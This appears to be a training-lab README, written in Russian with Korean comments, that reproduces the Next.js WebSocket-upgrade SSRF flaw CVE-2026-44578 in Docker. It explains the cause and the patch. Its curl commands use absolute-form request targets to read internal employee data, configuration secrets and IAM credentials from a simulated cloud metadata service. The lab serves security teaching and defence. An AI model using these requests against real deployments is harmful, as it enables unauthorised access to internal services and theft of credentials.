
Эксплойт proof-of-concept для CVE-2026-44578, который воспроизводит уязвимое состояние, позволяя исследователям безопасности проверять затронутые системы и оценивать меры защиты.
Проект CERT Академии кибербезопасности Учебная среда воспроизведения уязвимостей для демонстрации ментору
| Пункт | Содержание |
|---|---|
| CVE | CVE-2026-44578 |
| GHSA | GHSA-c4j6-fc7j-m34r |
| CVSS | 8.6 (High) |
| CWE | CWE-918 (Server-Side Request Forgery) |
| Затронутые версии | Next.js 13.4.13 – 15.5.15, 16.0.0 – 16.2.4 |
| Исправленные версии | 15.5.16+, 16.2.5+ |
| Требуется аутентификация | Нет (Unauthenticated) |
Уязвимость в обработчике обновления WebSocket (upgradeHandler) Next.js, который без проверки проксирует во внутренние сервисы
absolute-form URI (RFC 7230 §5.3.2), внедрённый в строку HTTP-запроса.
Позволяет отправлять произвольные HTTP-запросы к внутренним сервисам, недоступным извне (SSRF).
[공격자]
│
│ WebSocket Upgrade 요청
│ GET http://internal-svc/api/v1/employees HTTP/1.1
│ Connection: Upgrade / Upgrade: websocket
▼
[nextjs-vuln :3000] ← 외부 노출
│
│ 무검증 프록시 (proxyRequest)
▼
[internal-svc :80] ← 내부망 전용, 외부 직접 접근 불가
│
├── GET /api/v1/employees → 사원 DB (이름·이메일·연봉·pw_hash)
├── GET /api/v1/config → DB 패스워드·JWT 시크릿·Redis 패스워드
└── GET /latest/meta-data/… → AWS IMDS 시뮬레이션 (IAM 크리덴셜)
docker-compose ├── nextjs-vuln (Next.js 15.5.0, уязвимая версия) └── internal-svc (FastAPI + SQLite, только для внутренней сети)
git clone https://github.com/<your-org>/CVE-2026-44578.git
cd CVE-2026-44578
docker compose up --build
После завершения сборки требуется 30–60 секунд, пока Next.js будет готов.
Проверка готовности:
curl -s http://localhost:3000/api/hello | grep ok
Обычный HTTP-запрос содержит только путь в виде GET /path HTTP/1.1,
однако RFC 7230 §5.3.2 допускает absolute-form, при котором в строку запроса помещается полный URL.
GET http://internal-svc/api/v1/employees HTTP/1.1 ← absolute-form URI Host: localhost:3000 Connection: Upgrade Upgrade: websocket
Обработчик upgradeHandler в Next.js разбирает этот URL, и если parsedUrl.protocol присутствует,
вызывает proxyRequest() без проверки назначения.
С помощью опции curl --request-target можно напрямую задать строку запроса.
curl -s --connect-timeout 3 http://internal-svc/health
# → 연결 실패 (외부에서 내부망 직접 도달 불가)
curl -s --http1.1 \
--request-target "http://internal-svc/health" \
-H "Connection: Upgrade" \
-H "Upgrade: websocket" \
-H "Sec-WebSocket-Version: 13" \
-H "Sec-WebSocket-Key: AAAAAAAAAAAAAAAAAAAAAA==" \
http://localhost:3000
curl -s --http1.1 \
--request-target "http://internal-svc/api/v1/employees" \
-H "Connection: Upgrade" \
-H "Upgrade: websocket" \
-H "Sec-WebSocket-Version: 13" \
-H "Sec-WebSocket-Key: AAAAAAAAAAAAAAAAAAAAAA==" \
http://localhost:3000
→ возвращает полное содержимое: имена, адреса электронной почты, зарплаты, bcrypt-хеши
curl -s --http1.1 \
--request-target "http://internal-svc/api/v1/config" \
-H "Connection: Upgrade" \
-H "Upgrade: websocket" \
-H "Sec-WebSocket-Version: 13" \
-H "Sec-WebSocket-Key: AAAAAAAAAAAAAAAAAAAAAA==" \
http://localhost:3000
# 5-1: IAM 롤 이름 열거
curl -s --http1.1 \
--request-target "http://internal-svc/latest/meta-data/iam/security-credentials/" \
-H "Connection: Upgrade" -H "Upgrade: websocket" \
-H "Sec-WebSocket-Version: 13" \
-H "Sec-WebSocket-Key: AAAAAAAAAAAAAAAAAAAAAA==" \
http://localhost:3000
# 5-2: 크리덴셜 탈취
curl -s --http1.1 \
--request-target "http://internal-svc/latest/meta-data/iam/security-credentials/ec2-hr-api-role" \
-H "Connection: Upgrade" -H "Upgrade: websocket" \
-H "Sec-WebSocket-Version: 13" \
-H "Sec-WebSocket-Key: AAAAAAAAAAAAAAAAAAAAAA==" \
http://localhost:3000
router-server.js upgradeHandler)// Next.js 15.5.0 ~ 15.5.15 — 취약
const { matchedOutput, parsedUrl } = await resolveRoutes({
req, res: socket, isUpgradeReq: true,
signal: signalFromNodeResponse(socket)
});
if (matchedOutput) return socket.end();
if (parsedUrl.protocol) { // ← 목적지 검증 없음
return await proxyRequest(req, socket, parsedUrl, head);
}
Если parsedUrl.protocol существует, запрос сразу идёт через прокси. Независимо от того, является ли целевой хост внутренним IP или
IMDS (169.254.169.254), запрос безусловно передаётся.
15.5.16+)// Next.js 15.5.16+ — 패치
const { finished, matchedOutput, parsedUrl, statusCode } = await resolveRoutes({
req, res: socket, isUpgradeReq: true,
signal: signalFromNodeResponse(socket)
});
if (matchedOutput) return socket.end();
if (finished && parsedUrl.protocol) { // ← finished 가드 추가
if (!statusCode) {
return await proxyRequest(req, socket, parsedUrl, head);
}
return socket.end();
}
finished равен true только тогда, когда запрос сопоставлен с корректным маршрутом внутри resolveRoutes.
URI в absolute-form не сопоставляется с корректным маршрутом, поэтому finished === false → блокировка прокси.
patch-for-lab.js)В среде воспроизведения уязвимости resolve-routes.js ошибочно воспринимает :// как последовательность слэшей
и сворачивает http://host/path в http:/host/path, что случайно блокирует SSRF.
patch-for-lab.js отключает это поведение, чтобы уязвимость корректно воспроизводилась.
# 15.x 계열
npm install next@">=15.5.16"
# 16.x 계열
npm install next@">=16.2.5"
# 버전 확인
npx next --version
RUN npm install [email protected] --legacy-peer-deps
# 또는 package.json에서 "next": "15.5.16" 고정 후
RUN npm ci
Примените официальную логику исправления к текущей версии напрямую с помощью patch-defense.js, включённого в эту лабораторную работу:
# 랩 컨테이너 내부에서
node patch-defense.js
# 상태 확인만 (파일 수정 없음)
node patch-defense.js --check
После применения патча SSRF-запросы блокируются без ответа.
CVE-2026-44578/ ├── docker-compose.yml ├── nextjs-app/ │ ├── Dockerfile │ ├── patch-for-lab.js # патч resolve-routes (для воспроизведения SSRF) │ ├── patch-defense.js # защитный патч router-server (для демонстрации защиты путём изменения кода) │ └── ... ├── internal-svc/ │ ├── Dockerfile │ ├── server.py # внутренний сервис FastAPI (SQLite + имитация IMDS) │ └── requirements.txt └── exploit/ └── demo.sh # автоматический демонстрационный скрипт из 6 шагов
Этот репозиторий предоставляется исключительно в целях обучения безопасности и исследования уязвимостей.
Использование его для несанкционированных атак на реальные сервисы является незаконным,
и все тесты должны проводиться только в средах, принадлежащих вам или с явного разрешения.
Этот репозиторий предназначен исключительно для образовательных и авторизованных исследований в области безопасности.
Несанкционированное использование против производственных систем незаконно.
Все тестирование должно выполняться только в средах, которыми вы владеете или на тестирование которых у вас есть явное разрешение.